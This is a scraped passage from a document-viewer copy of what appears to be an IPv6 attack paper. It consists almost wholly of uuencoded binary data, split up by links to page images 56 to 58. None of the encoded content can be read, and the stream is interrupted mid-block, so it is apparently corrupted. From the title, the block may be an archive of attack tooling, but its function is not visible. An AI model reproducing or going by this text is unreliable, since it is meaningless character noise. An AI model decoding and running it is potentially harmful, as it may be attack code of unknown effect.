MXQ'^8'J1TCX34\$IP&3;^K8RS>M#\<2$5GNBF]>MZ?VYHU9JS4NV]F2QM>T"M^E`)ST*-`LF9M#/JI=<.W1FQ)6DH0=X$#=%-GI[!JW-NT9/I39M3:P";T+_SM-C2>5<1`B8B#-386(#<B",Y-67%NRNLN5W--7I?)**U%Z+U\%L9O]1I,78C*MA>>DP>;'H\<)C@V8+B2%@OE&O&='9`HA!"KY18<)"BG*O<N^`Z195QSC[<%-M18L`).=9?CCN`KJ2Z<S9\I??G!+W(ELP0>YIJ:A?&3ZBVI6ZJ-R*"<3,AP0UM'<]9;^],;H=4H'LXI@!WRR^W:O&0+C=OX7+CVVS*%<A]5JH`T)8ZW0F$Z0G'M@)6I6$_B?5A^/]6*A]ON!>LE.Q&_4@L,3M*N4F9>T.:FGISIC1(EIPVNL[EEM#0&]T@\O[6W&NT>ZOYV"51VZ@);G2$/;SP6U,DT?%L'ZHT>'!M#*>EQ_[<S0MUP_\3PZK1L'L8CP]DS'>=,WCP'FZ&69GS3PG-IAGIB=YK>-*.NNFF4,,:1RHMIH/)>SPF.&M3O]\/NVYA!]=80#5T7"=8UO$9GP*..S3ZY]SJB6>57+2<NF9=MU.??^]?LQ=O<C&K99KQAMJ[=C#+Q23"R(A0Y"VBK>"G[;.$.U;O-;+:4&XW9M6?9&Z\-./^$"-UUJ=*4]!?(:X/RX3R$TPVY`XBA)BCA)99Z.CXS%QKLX0:X%M0HBE&P:2)V(=P/^5_]X'ZEKL5%%1;CZ%*LW1<!Q,"&*LN9-GR!WT(HS<Q?&QMK!.)9">@?_$@O@[%WC+C97+WZ'P^11I=;1-/`JXRG<!,"I?W00.._-D\V6#*M@)$5]RZD6+#3CN4D,.B!44RP*A/W@_/8`7LRX#2&!\40\B.,=@(XQ>D8Z4:!M.U#M,(0?XO&,!E#P+%,T2HQM@=&1(#&)!V.N-:\S'?L]N=7HOC?+ID/)\6IRM85D!@JW8A*6:/&\9/T3N3]N09DXZQ*-TQERQ@!_!\&?J\-F.JM0:50J=@N#5M!DB<&;&'4*5T)IF-;-$?N4`F,@=R<E4:R>F@^]Q##ROOZ/W(7O_FL$G-EF`#M9QJW97R,SU#1V*R*K/RR-1$X0E%S1;4TE:B?2YS@1<0CL4[.XD`]<$0P%'`&MSO@L/,]J`.,MHLP.@*&^-S86KJKEGZ67V/)/#/`GK[A56L(Z=#&9Q5V<Q4.>MQ1N++;MP'EOZM&!)3>BC%*,7/5)>ER6XMI,?/JAX[R;#*Z>B:-J%BGAYKA]MMK/WK/Q9U@%ZO7LQIS13[BC[X:R'E_?OW*<3^JDUX'[:%8;Q*UVA0/](LI>&BMJ[>*F&;<S1(>G00(G<1.-($T)HN0N402+,`8,#P;<F;G)M3C8L7B@TC0^P)0M/*KO(\IE/3<!=C$BH5;2]5/2CHR"O6$PR!$0#"P=0""A_4B)%H:V_T)1L`]TMV35$LG/BI_;(ZXLT'76`G>JKIW.XD;JH8"V1B2"?."T"U&+Y2T`RMI]F%P0/MD``/B#P)E'/B:5I/JSX6&:1PG<V0C6)-R'QK3Z\@7";;3V/7#=-Y(3-2@:@`MU">)1]FF"TJ3PB*I[/C3>8(89FXQ2BU\Y.$AZ(WOGP42U#:?!N[3`#U6@5)WM9S9P%9=Z(N`WXND*<4XL$XI[9GM[2GF^1)E)Y%9BZ!JA8"U:*M?X.TV@I52$MK2('"EV`Q.9?=\\C@4O,L-===%RWH7\:+N4#Y[AY=V&<#A/'),F]M1,?$65VM7=]EEKA7>$[QT`/Y'IQA"+K$&B^_+Q,,T&79DO>0^Y1^0\8JWOXN^3H=/B>;M60(I[06]&I"U\#RUU4>/XNTN:14?_YRH^8]`)(1(V6VG-[QPP27;6L1*3)5/M##>87$&G``8G0)\]E3DC[I1=Y)G-PXBRLPN%'HA)!@3JDX;.A)53!`5FG'(5MH-T;1_E1<$$/%G)7$6[OSP9(E0KULPN$"1K^=2F@H"ODC>DGB+118F8S):BQM7T]\P#GW44QQZ2R`>DA-)B:F3Y(Z?-R!7!.MEF=3WS$^X2G-::V1OGY)6@F&M=+&XM*=8(JHQ7X+]$0589+5`+21"R@R='"$U9^;6J1Y=!1MZ*E7E(]X7[=L(MQ_%RW$&7(S0<`C5_8_$.P6[ZAVM`F6HXZKD$UL@_GX_(.F[TSB>*D0'+\<Y!M\8>G(D2FG>2?XZU24'NI.BUT`4(]J#6!86KAFH#^'.VBO&(6]AU])MR^L34_MM[WGCIC^&[&4>!GD&F%!<4:Y]M%XE*<61+8@A(A49+R>QQD7Y[1=$['AT>Z=MN`-"\TJWH"::5SYZXH12!Q;@U:2MA(<6]6@T=4]:+Y8!;]1*'2T8:I_1#3)/MG,_FD5;'B5@=QQ$$IBO0<?U/OC^@VCREQ^,J]`EYA\[0X$V$]K/(6B>7/#ZQM[9&RQ9'Q,6)ODAC\V_KP)+^65G?%4;CQ2,L*KD[D,.$26W-ZYZ2F*,TPSH0BM2/3\Q1PF1X7&0),Z0A.&(X@?7Z.*AH9B!U,?$#UD,!T8+1HN8_P$QGV:V5BKML(&@3U9Q#&;$F\C8:=Y1AL+N/L]0`CUQ08ZN''NN?C#SQBP`S_C!%%T>F2SQM!L)Z/P:\NF'2K::?14[.B5]#VK[GHOL5"/^7H`I50GH7,64ATO0SS`Z&K1N.M:(KU%U%]<\3Z9*AW872%8KI`K_DB>9NXXO*OHXMPUATLI,,;)F+?7D=D7TN!M_P(O7VMLX:TGG*,(N473<*PW18[.,:)E_'4V/I\0LS75Z]:B1PBY;UM>3#U8MQ?6#/\LERY=[9-&*%Y_<N7*UM5FCSI6PV6KSBSM77>R<7IID]VZ>NAL5JV]!MK=KTSJ48M)N7:!3VB9*G<^BHY@BW6#8%2KAY"2R\&%UI75VNDCT#HY)RW&N0M;4.4=5RN$TNWI16M&_($O1@O]-#@,3$MFEEW@DY$+``6CK8N=>R/)GZ:%J`SM+=9YDM3&LP'73TBDDV9;HS[U#``1<Q;D!'GF!.G"^=$H>*_"[OFD0;$YD&5%MWAMH`4MF!4M+=G^\;W.6&/1\5LLT3&4M)@/\!7GQ@B-!IIR>3B_)-(U-?$P5M"<HB=H;HUS9&V\'GU4Z#=[#WZOL5LV96RI95]09CKAS;MJY/9R$I5M&CVM3Z+@K^VRFLV&;:C#FX7G0;M:V`2T\TLKK<0K+17*Y<J7UUI=J+6T]>6UUA;[M6L5:_[R#9.=JU=&&0,7U61@!OA)A<'*O!KL1+1<BQ$)'T7DXFP6]G*H9R_F<M*GTM>3`*`5Q0V`-5+94:T/YTACKEHZ+__K1X[E\6SWMP:-J*1ETL%TJ5:A$7MJP2_,48IE/`2&H?7;6_!L/61-+JV"4V#Q5M02K3$JR".&[email protected]@(A;8?=M5^72RR<JLXMT(X#H+)HO3&;S:4`N4M56P^/-6VJVRA6XA@J59JU<;RJXA>B^M;-%=V6HTU&-5K;;@?[@&:+9;I6H.VP,$#ENBRSI3NFPV>KTL^6HYG0U4L]%2MF<$0QEZIUW,*W4/DA7<JDY&I-]%QY!7I5G.IEE>M9%>[@*%7PD6#?ID]]9I@MFA?-S]7X["VUU,A9W=S(44\Q/:U6<NH"U@6NAI4\?5:U2UDA4FG.M8;F>,)L
![Page 56: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/56.jpg)
MT;(S$_C46IQ7+PY%DPIKZEJ-4<W/*"ID:&A+#</6<-E]E@4I$^;,E\BRA0?IMK1V%+!<C=&QU+Z75M8+Z/5.IX6SND?I1O`]4G][CLO5YE$?D6*P7^LC<]LDXM!!U/IET([DVL!9*HQT\D-O$-]&EBDMG3/`9;#)D(T5P,=M[-M3!H1G=P^H7EMZ6XOO<'%%#3E"G_N#_%2GFFN/AKSS".'X2&$`QLU`=UM6*G/QM,+?XHNZ5`#M4.PP_32,P-`<M)K7X@=>.H)@@4MT%75G0Y6_0`6*`E(J!<06"_YP6.B;'K7+MGFT4`8]G74@[73S'?2#QU+@]AS4,]!]`2NC_OQQ6<H>4.$@)7\F5`M1V:S@)MU]DH-)JWAY%HU*%2*=\>0F(KK?V3\9%RZ3I\!`9=K!1JM7H1)[59Q.6J?"8^M8@^VBY'XZ*>;B:B(%6D$&3D,F"V#K@XA&[D0%\W'3#@YL3`#[D.4:%R$0S):M0AFD*"IY8T0E+L(HN,>&U4&/+^[X#3C3^C)[**U%]\7P(G-`M^X.^]?,[W`WM>EGD47A'K,BB)Q1>K0A(E,8$;LQ:36F$*&?T/^/^LTA(K]Y(Y==H9/61+#`LML)$5^[/Z2)(LFU^DD;3I6G'0OT0CR4%[*,G2-F3ZEL0SK#%Y8_#FW&^3\6PLM]M:4R;-JK(QK+%(40`)4-ENES4*EOE7:JM^1`+\>"2!3OU6H;);*FV7*@ANFM19NE!;OE\6+:O\;4+V$0MCQ>`;5L!7S1K"6)56P)9J<S%:ZV`I#[&3E/>RT+MBI<GVC].PU[P5B]/#^ZU<,371NH:59)KM##7>HG*<,TV&EM;Z03R9RQ1N=S4M:]2HK;Y$C=K*2[3:5F[I!7(5%DTOH6L>H$2J%IL']/"];*L2I&P1E&Q5FY\VM#]7_"/-P6U3[OP+1?J"Q/<^8A<4LX'2EJ>I#2?4KU\IUVSWD\>$W%!DB:O,:MQDK)@`;5@5AA8UE%)`X4Z5('2+=(N6%1H&?L8BEFFK3(0E@-PEA],.85K+:-MI-03&)ZT[[`?O'3BTQ+-.`+V3N`/YD-M2>J,D4SQIRS8=H01+Q=DF-;:G%ULM:&\U.9X<CRE%5HS(DP1#V!M;R-K8P:`<ZJ?QM`?;776UG&Z(M`NB\4`J0$OCM*38'1,X94EH^.:6:H?@6MB9TYSVL&&[^<.0-YBAE'4#>\?2JH)Z/+[#2`'/#M#I\3,J.U,-&&0XNZD9Z8C7O^U7?>"W@SY[C%P_'X3`EI@</N!^2,&AU@`_$QMHC38RU,XGE%TS_.>P1TPQ.AQ(=`?T8#-8U`LW!U2E/(1E!]>T3!AA-@3ZH`XM2AA`9V=CX[:'YQ3[)!-6+N&,';*8'B7EK\.W7PUFLTFK6`Q&A0LXX),`SE-AM/#TMXE.1`.'KT&:[N+@HA,&L3UFF_2[^56J-4F%V.<.,U^>LULM5R?G>9)P!M&$,>SGG8G8ZC<7]6@.%!?_+SJ#@,.U-_>E7L=#8K<*5M%OQH<GE_=V=[VWO]M_H:^OX`U/!GW3W`,)[/Y:!0,3SK3,6S>"`I?W]'-+>GG^YM&5'-R0E8G6GQ.M_7Y[[^@XAU%P:P6XC0!B+XL6_SJ\?(MH@+04P3)W!X7NQ!]18W^/!L/Q>=@OM[NWGN72>HB7F*X7Z)DX2O"CRBR*]*$S.O=>7L9XS]C\,W@?#0G=0',S.A\4(M,.\K_I<X:)@(Y>)#CH(ND._4C\ET_"[HSB(IV)F'P]X)6C&=C"]&)S-4.3!UMQ"N9#*9H.H(K&T;1/.!\W]'O=FWK`48QKMV7G4[%;7F)"D>%)_X$UJ^X5<,\M=@=<-BL%%.]VQQ/JZ*!T'NB\SW9.Y$0X/WG-+FT-Z$+Y8CP=]@JS09<'R\7?M#TZT+L2)&,!,>GV/O!C$I@G#)D0#.,L%C.UPWKD:S6&P4`PCZ/9\TGH:1GFMM3$,:RQQWPJTF9;"5>I./+_-R&9'?07CJ_>;N\SD?6I4!ZA7-BCO%7Z8-I)0WMZW7\+F_6R^ZW_ORF7*Y6Z[7->JV\^9M2N5)JU'^CZK],=^*?.3H45.HWZ-_NMNGPWO?\/^HFOO_$FV$6H<%MMX`(W:K5EZU^MP3M9_UJE#/ND7<&K]1I=OJMP'6?_^+KGQ:>^<8PSLG`/I\<0SH]%'5*?*!^=S0;4@@@K_B-Y_C`1!00[N#WM<-/T5.<*/;0_W:Q4=BNE6JWQK+'K'2.^2$X/X7L:3B;H,Q30S/-Q+^R'\$!2M!@=)\0Z<ZTCYG?%\MA1)^::X4A3J?N^$@EKU3M!7Z4//"1Z-SO3?0LH-X5%6MCHXBT6+NM:L<BR$6*D91K)A'-!KAICQ6CS`:T>/%N#$V-L-'KA?Z`/^;$!YKMK;5LFR))Q%O:/3R$=OX(A$9O#(,*D#)0,)RPI]R&[YDX$/&&;HQ-<GUHDA4BMDWQ!8)*%N"2?&I4D/M9/"<T!3<?"<;3;.D`X3_^M!.Y8*6R'&[2#8G9TVRL'M[?@8#*,@WM;79/B/LT?;@_N,VU&6Y.:0'CB5SYZ>_&GW<#_S0`X9ID/:T>XQM1MQ.22W%4CT3S)M"+)F2;D%;,E:0HHX#E8_CYQP84\G6GE,4;]WYEZ*/JZSJMP.LS4P64W3M*]E='?,+5Q6`^TZ#['C,@[##QY?$AB\&FW;#F,%\RPP"H@RF&M,]K=?[80?*42"[Z"_2!'UIFR;D-BI>O.2E"96(=+UW;8[V&&Q0[?3F\E!HSNM+,Y"6G_GT3`()IFR'+W%UG9X!Q.S>1S-"F]&TK@3ZOR??4?_DI\X_H<.C6\?M`;P!_RM7RJ4$_E<O0=(=_O<K?(JTYJB,V&JUT#DX(4GLTUI)5$L/^4J(2O74M13@;J,MF`U+#,W_FGYSZ)R,_5.=1/S7F(0;"PT"&W3H',,18@=5-CAO8JW'DM0@Q^F`QVB!$,.V6.5+C)@0P#C$;871[L$`,<8IB^4H/C!C8WJ3A%(/0Y"F$%MLC0Q_&"7(_5A1+]N$[ZK'/BPU.<@@-4M#!9(Q3=[D!5;AR)^GR,6XD!*D*W4ME>K@?06J\;L</[`&S=0X""!&(VPV.`@@1E^L8(###J?7(+U?X<YV:SPO#8QNMB/-5XGB)T*D`8T-"RUL8@K#"<00Q_&!]B^-!ENO<NQ[T=*O)<]7D2(V!!#G$MN(DXP_4Z=[B/`0XK'."Q#E4WX;LBTXL]*P4<7A)C1&(VZ%@%XR36>&IZ91XSM3B&&7:Q`L3(\E[L8W9!P8HQA^!7BMIEO^ME,%N/Q\1,\9,T6>:CZF2S'X_IGMGX/_JA\7_J,?NU^"!?1)_)]*%?D_C5KECO_S:WP6UA]M+</W06,RO#4,X(;[MOU(N;SKW?P/O_UJC?'?__QJ?^_>*\VA*%STNOW=?Z0U0F`R33):#0:DZ*O\!M,NT!9AT@'7L&P'TV!@2?W&-=L9B.V"[!^V"$85F$R/,C%?3[B&J_#Z`">)R3M/>%L@*1"2,X[D`F`LD;/P]J1^=2=/:3?%_X4Y7H1/QV1B27_/M@_VOL#7CM7M:OW%_O?/]E[LPFVS9D8Q')_"K81O7V[_X63G^=Z+I_"^7"I!F9?;>Z]:%&T7MWO]V[^#'QHN]HV-AI]Q;WS[\_D=DBQB"7ZW-A9V"<Z762\)30?F:>@9T)+)3
![Page 57: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/57.jpg)
M-+DO!.IX$HPR6&UN[9&N<2VKR.EX@+>?Z@[&DXQIO?T(_WV,+[#3',O5Z1NEMAJA"^E#QPSMZ$$I69>#Y49L*4L?9'%5E>*V8[.JBLWL@;M2_J=Z8%*"A5&Y=M-_)Z_1U0WR>:`A)BG\KDD5#6D[%#]O4SV@;(UI$BD$?*(-%OZ<+U\+%=@WQ%M4X`7/I3)/EP/\WF'R/LHQ/]Z^.VW#]??P3\\G=+T\7CF#]5S5#0_ZOI`PO5@M4=94`?.7X6N-%Z*+(G&:?48SHGE'CQB6'68OLSX+>[EUA(*HM8Z(RF]/'NIEMV\?=E%M[_%COK#59EM]B%6C*`_G_PAKD^6Y%Y:.2,G7]1=9J&D3H6A#VI"FUM)EO,O/N[.B\V'>WGHK/GL(<X(AC@Z\/=[9WGNT_?RE"E)3M>*4+]5FLF^Y+<MABFSV-"K_6-U4V,?]?Q2<\@3^<]-*O^G_"S<_Z?C\>GP5J__&^__S4HM>?]7M2_6[^__7^"S>_[P!4F[_!1&+A^SN<!JH%S\=M%H_1,%T^S08R8W]_/@8$E^RMKXV'UUSH]]>AD<NK]H:(_LN5S4()_BNWJN5*<P/`BL#\[ZEC:#<0C8<!P:"5MK^D>7%'QR_DCHPSXHJVK8#QA[@.PC@\I_W@47#STX%7^,5IWC.>S3!69@Y3BM8Y;,VLNCO=UBHU!2/X6CWO@BPLOB/F6@`69P?*K]6/%XL\C&Y+AZO8PD<?O=M\1QE)^T2/Z+2UVDP:Z\)&L-WAGE$F&P>>F.DONG1G33$KAC;.@NN+L93O"QIMY#0CS`'7=]&]OZLBATB;H$>4=Z$_*B(UK^@RX\TQGP[;:XZFAFP95-1@?9WOM_MJF2P/;P`OCP6#8#GL/AM/V`XK?QV]EH)0A\MNO:'6HE:G?,3$NVHKF$*8@M8YLG?K"9*?WCVW+IH3"I[V5BM>0?A]%)-*?P.897S5.4S(CV/_/H!"8MP,M0MO7ZVO??BA\/=MYHK_='%:Q`9X.EJJT1%/K1(\E-&:\S"<?XUB66._&E5?FB0M)(L2%&?^&:#2W?$9+`"^C@595VLCU'C%S!N`-*`*W3W9X)IM;M$I^A%?9\(YM'@VJ<(?[4=2>/G[D*T#%^^VUPC??P?)\\UVB5:=@E%XP`X6R7'2]7-0]H1V*MLU/6*;@^DHJ=^#/O)",14.9=5*17;XIOBE3WFZ);L=[NL;H_7M-&=$TCT2>VM$EL*G<7B8?B)HY"\=4^`',EWQWBW6A&'B[2E5Q7'L_0X/P(0D[WP9O1T_]4NM;X!/0L(6[G_29,/4V\,`;KC_&_52.7G_8_:[^_]7^"S>_V8#W'C_WU>'`>KHMJI$?S:Z8ZD>-7G+BWLI>1\43)0:O*H/@DIC%]X\@@:T0`_W"0_JL$QJJ#&`MM/0_'.?P:A%G"`/`WP<L\'6^$R/X,TMK19`BDY49^@[)G^6K(8(OKE`&1!O58M.0GEMUE7(JY0J>&>>AY<`K'YWA_.,::;FH:G@QDZ8WVSD7^SH<YA!ZE.H`:0M;'2I9VH8]&?F!&MH3!0MC0#!B>[$0TD=A#:U_-8ET+A,F[YM;O/\D90;YM/1MPO1\5/=W4;S35U'*_'KW#R4%8<X"-B5S\,/1]O>[+1Z+)&F\2O@?VL7LH3\ZM#1ZKUX](+;SO=X/';V/EG)^[EX`*Z7I@2S5:_9+?S_=+_3Z;.W8!-.2[9`?)M_\5JBA5GRSSZ;]&V*1\T^GT2ZSZT_(/MX^/=5\=[^Z_NQ6HM%TB!9>"_#]@JM%=$3V.(*,-$\;C,4CG6%[8$[^LU&J_5F(U9'I?"E&T8JJA;4T_'HC57(T(90MZ'^/*D;3@7XXA>H:->H>M*$SH>F4BM!E4ZS2&MH=H",_U-XG3?[R)A6=H9&OM5./WR7#`U("0(#[]]0*>_1XYAD=5=IRM<U,O6AN<C<87@')@)!Q2"8H5M\I9MO7$0T1AA%BAF(O2"W?1UT;<>`1[F,0V'XPMF&(:1K%H,DP]QO[DD09E)`G[1M7OL:G1Y`*7NH]`M"1J6(KBZSWBWGUKL5^*O"7PW^ZO#7@+]-^&O"V:+['?<_M7.^D,PYG"2]UCR#0<$A@20D0:@$0TD<+.ZDR4=<?^M.,Y,RJ>^VF<^@(\'S^M7HS-#&0N$V2AE@R=`[\K3G+9)E>=Y(I-KCG)59M<=Y)K-KGA)-=M\J:3W+#)M32=Y\^U#SP#[LH"S,L`SR/-`7QJ4EK670D7R55+R59Q\5<E73<E7=?+5)%\MM)5_-R5>7?/64?'4G7T/R-5+R-9Q\FY)O,R7?II.O*?F:*?EP=WKWM:(5PAG%MF_'K/Y`A&IPDDX`:5V8^H2[[,!RCWMUG5%-QJZE\=C55MYKJ9U=3<ZNI?78UM=;>:^F=7TW"K:7QV-9MN-9N?74W3K:;)U7BHG0C0K^UNA(>0\*CM[A-,^?9;MTG*E_)6VN^+PMF+S5SA_A?-+@6K;75MX7;4%JER@*@6D1*WM+B.\K]D2-2Y1MTR6D2+WM+AEDJ-LB=2Y2-T6D3*/MK@_D:-@R#2[3L&6DT&;;70W(LFD+;7*AM3:>0E&JVW<F'/$U;JLFEFE3J*\1S84W:C7JYCJ*3KT2/4F76OOY#*^W_KU'YM-'?#-9;C2Q"6W59(*-UMU2JW[<W=7:':U7NY8F6:66"X!O+]<4$.A:2VIU'IMJ8LT_[,)N"_\+-#_L^X$,)/1KRC_KV_6%NC_VIW]QZ_S6:3_T2Q`1214G2J]M&U`<P!J`CAJ`=Q_-,M7>?JO%-A*M%BFF$ZV_D,HL@.^#V7@"22_&R!?]/#&_M*\BO"Y?<$?V;/EO1?XC,=)'^'LMK%@`+ES"W/H%A:T8#L>Y4YJ=EXM_U"#(NM#)"$!)F#()@B/4R<?JJ:80JFT]22!`!^2/I3X2X^5EJO7UX<LYP!W]3%!F$]M<H4<K_</=E^]%4;F>,2UQN3`/XD<>'G&A`AX[?7.B_VCW>*SO</=G[9?O%A2M2`M^?Q*&)"KP\>0^&T_/4B8VQQQZ,[^LE+!<)T&O46QQ?@&-!*SW6J4$ZG:*M8H+H$I"<R;-4FT>.Z]EJB$^0I\0"QU.O\_E!,)Q\R`_>JJ_RBFA@3*`W'"'LM0W[V%E]QN#"4V.B8!D+64]YPE.^'P^!#/G0RDS8"7$YN;K*SAYQ4"L?Z(3]QMBF!*0;U$KQ43]#X`C^B;`;V)S?BD=\?GYSZ5)I[#A_S4*<YL"*YD]U*U4*DFM7RF5/$7;Y.-R_1J5HF!#4YDQQC*B[L'[""8IM\XS!*C%"(>46S_GC37EO0%YM`;3LDXN8*`.5;&"I#3P];[@"3.,ZVI&D2Y7X1N;4O))6\!4V8-+/]='=H.&;M=.I&#@:F57O4VMZ(K9_8;TUT[YXZGEXIW@2X0]$+IA\.HX*PIG!#XKNETT$YM))3<@P=*^NB"A-W#P_W#>VK'X0K$]A;K;\>W4%)EB5JA85(C/+\WMJ%WEVG!M;)B%^AF$TLEJEQ^ZH](&3WJ0)+K)O.E]FWU32/DJ.@9H2I<IH.X7]2S=]HR.MLLN/-</EVH1Y0^,WW)O<ANPWEK[`X@5^=T#CH(P9743@!P/"C-FS+@P4:2`]MD%J3578B^=\-74%N]M1VA73$QA>29UVR"U.9WB(UF'Q=YM?8GA1^;/(M,,!Q
![Page 58: 40490719-0x01-Ipv6-Attack](https://reader034.vdocument.in/reader034/viewer/2022052600/5572116f497959fc0b8ef73f/html5/thumbnails/58.jpg)
MM5\$?887AGL)Y33S4IR8$)O3RB"-!/*CIN#X)M8M/EP/'[5-JP]1T6O)[(4WM3YV8*KI'@MASAWR%/Y(7<<6[!<T[RDVJ=TMT[UC?KDU29J+@\/?ZNT>8E;34MC$U>3)ENQ8VL=W*LZ$K[V9ULW0%G3Z^TJ6_>U69AW`ZF;>[X$NE[4W=L>E/'M$EO\ACU^TR:_=I=_^39/2-KM3C]S=OI9;*>?649`^HR>K3*=RN)AAUHP_%'=M#]"53E_Q?K_3R+O[W'WN/G>?N\_=Y^YS][G[W'WN/G>?N\_=Y^YS][G[W'WN?/G>?N\_=Y^YS][G[W'WN/G>?_RJ?_Q_[.-?1`#`"`````end